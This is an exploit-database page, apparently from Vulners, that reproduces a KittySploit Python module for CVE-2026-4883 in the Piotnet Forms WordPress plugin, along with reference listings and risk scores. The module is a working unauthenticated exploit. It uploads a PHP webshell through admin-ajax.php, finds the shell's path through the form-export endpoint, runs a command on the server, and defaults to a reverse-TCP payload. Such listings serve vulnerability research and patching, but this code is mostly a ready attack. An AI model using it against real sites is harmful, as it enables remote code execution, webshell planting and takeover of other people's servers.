Lucene search
+L

Piotnet Forms CVE-2026-4883 upload RCE

🗓️ 09 Nov 2026 15:07:16Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 14 Views

Unauthenticated arbitrary file upload in Piotnet Forms via piotnetforms_ajax_form_builder.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2026-4883
19 May 202611:18
–attackerkb
circl
Circl
CVE-2026-4883
20 May 202600:32
–circl
cnnvd
CNNVD
WordPress plugin Piotnet Forms code issue vulnerability
19 May 202600:00
–cnnvd
cve
CVE
CVE-2026-4883
19 May 202611:18
–cve
cvelist
Cvelist
CVE-2026-4883 Piotnet Forms <= 2.1.40 - Unauthenticated Arbitrary File Upload via Form File Upload
19 May 202611:18
–cvelist
euvd
EUVD
EUVD-2026-30892
19 May 202611:18
–euvd
kitploit
Kitploit
CVE-2026-4883
17 Nov 202618:09
–kitploit
kittysploit
KittySploit
Piotnet Forms CVE-2026-4883 file upload detect
9 Nov 202615:07
–kittysploit
nuclei
Nuclei
Piotnet Forms Pro <= 2.1.40 - Unauthenticated Arbitrary File Upload RCE
17 Nov 202602:03
–nuclei
nvd
NVD
CVE-2026-4883
19 May 202613:16
–nvd
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CVE-2026-4883 — Piotnet Forms unauthenticated PHP upload RCE."""

from __future__ import annotations

import json
import re
import secrets

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress


class Module(Exploit, Http_client, Wordpress):
    __info__ = {
        "name": "Piotnet Forms CVE-2026-4883 upload RCE",
        "description": (
            "CVE-2026-4883: piotnetforms_ajax_form_builder stores attacker "
            "PHP under uploads/piotnetforms/files/ and runs id."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-4883"],
        "platform": Platform.PHP,
        "arch": [Arch.PHP, Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-4883",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["wordpress", "piotnetforms", "file-upload", "rce", "cve-2026-4883"],
        "agent": {"approval_required": True, "produces": ["rce", "webshell"]},
    }

    _VERIFY_CMD = "id"

    def _join(self, suffix: str) -> str:
        return self.wp_path(suffix, self.path)

    def _php_body(self) -> bytes:
        manual = (self.shell_from_payload() or "").strip()
        if manual:
            text = manual if manual.startswith("<?php") else f"<?php\n{manual}\n"
            return text.encode()
        return b'<?php if(isset($_GET["cmd"])){ echo shell_exec($_GET["cmd"]); } ?>'

    def run(self):
        ext = "php"
        fname = secrets.token_hex(4)
        body = self._php_body()
        fields_json = json.dumps(
            [
                {
                    "name": "upload_field",
                    "value": "",
                    "file_name": [f"{fname}.{ext}"],
                    "attach-files": 0,
                    "type": "file",
                    "image_upload": False,
                    "label": "",
                    "repeater_id": "",
                    "repeater_index": 0,
                    "repeater_label": "",
                }
            ]
        )
        data = {
            "action": "piotnetforms_ajax_form_builder",
            "post_id": "1",
            "form_id": "piotnetforms",
            "fields": fields_json,
            "referrer": "/",
            "remote_ip": "127.0.0.1",
        }
        files = {"upload_field[]": (f"{fname}.{ext}", body, "application/octet-stream")}
        post = self.http_request(
            method="POST",
            path=self._join("/wp-admin/admin-ajax.php"),
            data=data,
            files=files,
            headers={"X-Requested-With": "XMLHttpRequest"},
            timeout=40,
        )
        if not post or '"status":1' not in (post.text or ""):
            print_error("Upload rejected")
            return False
        export = self.http_request(
            method="GET",
            path=self._join(
                "/wp-admin/admin-ajax.php?action=piotnetforms_export_form_submission"
            ),
        )
        match = re.search(
            rf"(/wp-content/uploads/piotnetforms/files/{re.escape(fname)}-[0-9a-f]{{13}}\.{re.escape(ext)})",
            (export.text or "") if export else "",
        )
        if not match:
            print_error("Upload path not found in export")
            return False
        shell = self._join(match.group(1))
        hit = self.http_request(method="GET", path=shell, params={"cmd": self._VERIFY_CMD})
        if not hit or int(hit.status_code or 0) != 200:
            print_error("Webshell not reachable")
            return False
        output = (hit.text or "").strip()
        if output:
            print_status(output[:1200])
        print_success(f"Shell: {shell}?cmd=")
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Nov 2026 15:13Current
6.1Medium risk
Vulners AI Score6.1
CVSS 3.19.8
EPSS0.03063
SSVC
14